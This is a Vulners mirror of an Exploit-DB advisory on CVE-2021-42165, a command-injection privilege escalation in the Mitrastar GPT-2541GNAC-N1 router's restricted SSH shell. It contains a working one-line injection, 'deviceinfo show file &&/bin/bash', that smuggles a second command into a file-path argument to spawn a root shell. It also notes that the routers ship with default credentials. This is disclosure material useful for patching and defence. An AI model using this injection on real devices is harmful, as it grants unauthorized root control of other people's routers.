Lucene search
+L

Mitrastar GPT-2541GNAC-N1 - Privilege escalation

🗓️ 29 Sep 2021 00:00:00Reported by Leonardo Nicolas ServalliType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 707 Views

Mitrastar GPT-2541GNAC-N1 Privilege Escalation vulnerability in restricted default shel

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2021-42165
3 May 202212:15
attackerkb
circl
Circl
CVE-2021-42165
5 May 202213:13
circl
cnnvd
CNNVD
Mitrastar GPT-2541GNAC-N1 操作系统命令注入漏洞
3 May 202200:00
cnnvd
cve
CVE
CVE-2021-42165
3 May 202211:25
cve
cvelist
Cvelist
CVE-2021-42165
3 May 202211:25
cvelist
nvd
NVD
CVE-2021-42165
3 May 202212:15
nvd
osv
OSV
CVE-2021-42165
3 May 202212:15
osv
prion
Prion
Path traversal
3 May 202212:15
prion
redhatcve
RedhatCVE
CVE-2021-42165
22 May 202518:49
redhatcve
# Exploit Title: Mitrastar GPT-2541GNAC-N1 - Privilege escalation
# Date: 10-08-2021
# Exploit Author: Leonardo Nicolas Servalli
# Vendor Homepage: www.mitrastar.com
# Platform: Mistrastar router devices GPT-2541GNAC-N1 (HGU)
# Tested on: Firmware BR_g3.5_100VNZ0b33
# Vulnerability analysis: https://github.com/leoservalli/Privilege-escalation-MitraStar/blob/main/README.md

Description:

----------

# Mitrastar GPT-2541GNAC-N1 devices are provided with access through ssh into a restricted default shell (credentials are on the back of the router and in some cases this routers use default credentials).

# The command “deviceinfo show file <path>” is used from reduced CLI to show files and directories. Because this command do not handle correctly special characters, is possible to insert a second command as a parameter on the <path> value. By using “&&/bin/bash” as parameter value we can spawn a bash console, as seen on the next example:


Exploit:
--------

> deviceinfo show file &&/bin/bash

# This command will spawn a full interoperable bash console with root privileges.

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 May 2022 00:00Current
8High risk
Vulners AI Score8
CVSS 3.18.8
CVSS 29
EPSS0.14104
707